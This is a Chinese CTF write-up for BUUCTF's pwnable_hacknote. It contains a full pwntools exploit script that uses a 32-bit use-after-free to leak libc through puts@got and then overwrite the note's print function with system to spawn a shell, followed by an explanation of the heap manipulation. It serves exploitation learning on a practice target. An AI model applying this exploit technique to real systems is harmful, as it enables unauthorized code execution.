题目
平台:BUUCTF
题目:pwnable_hacknote
考点:32位UAF替换堆块默认输出函数
代码
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('node5.buuoj.cn', 29167)
#p=process('./hacknote')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./hacknote','b *0x08048939')
elf = ELF('./hacknote')
libc=ELF('./libc-2.23.so')
def create(size, content):
p.sendlineafter(b"choice :", b"1")
p.sendlineafter(b"Note size :", str(size))
p.sendlineafter(b"Content :", content)
def show(idx):
p.sendlineafter(b"choice :", b"3")
p.sendlineafter(b"Index :", str(idx))
def free(idx):
p.sendlineafter(b"choice :", b"2")
p.sendlineafter(b"Index :", str(idx))
# index x/10xw 0x804A050
# puts 0x0804862b
create(0x18,b'aaaa')#0
create(0x18,b'bbbb')#1
free(0)
free(1)
create(0x8,p32(0x0804862b)+p32(elf.got['puts']))#2
show(0)
puts_addr = u32(p.recv(4))
lib_base = puts_addr - libc.sym['puts']
system = lib_base + libc.sym['system']
free(2)
create(0x8,p32(system)+b';shx00')#3
show(0)
p.interactive()
分析
IDA反编译看到delete堆时未及时指针至0,故存在uaf漏洞

创建两个0x18的堆块,看到0x804A050地址存了两个堆块的头指针,指针指向堆块的头部分,头部分存了一个封装puts函数的自定义函数地址和指向实际存储内容的指针

free掉堆块0和堆块1,可以得到两个0x10大小和两个0x20大小的bins

重新申请一个0x8大小的堆块,就能把原来两个堆块0x10的头分配出来,根据先进后出的顺序,实际分配的可修改的地方是原来堆块0的头
将其写入puts的封装函数地址和puts@got
的地址,由于存在uaf,show(0)
根据指针规则可以输出puts@got
中存储的libc实际地址



通过给的libc计算出system的地址
再次free掉刚才创建的两个0x10大小的堆块,注意观察0x804A050处存放的全局堆块指针,没有覆盖掉0和1块地址,所以刚才创建的编号是堆块2


再次申请0x8的堆把刚才0x10的两个头申请回来,此时puts函数的地方改成system的实际地址,参数处传;shx00

需要加分号的原因是在print函数中,使用了&ptr+v1
的指针和指针的指针,根据全局堆块的list索引,上图标红的就是&ptr+v1
指针指向的的地址,再指针就是指向system函数,所以可见其sh参数前面有一串地址的乱码也传进去了,所以需要加分号屏蔽一下前一个语句

也就是为什么打完了最后输出一行命令乱码not found,看二进制就是把前半截十六进制地址送进了system产生的报错

本质还是修改了堆块0的头内容,再次show(0)
即可执行system('XXX乱码;sh')
了
原文始发于微信公众号(智佳网络安全):CTF学习-PWN-uaf
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300794.html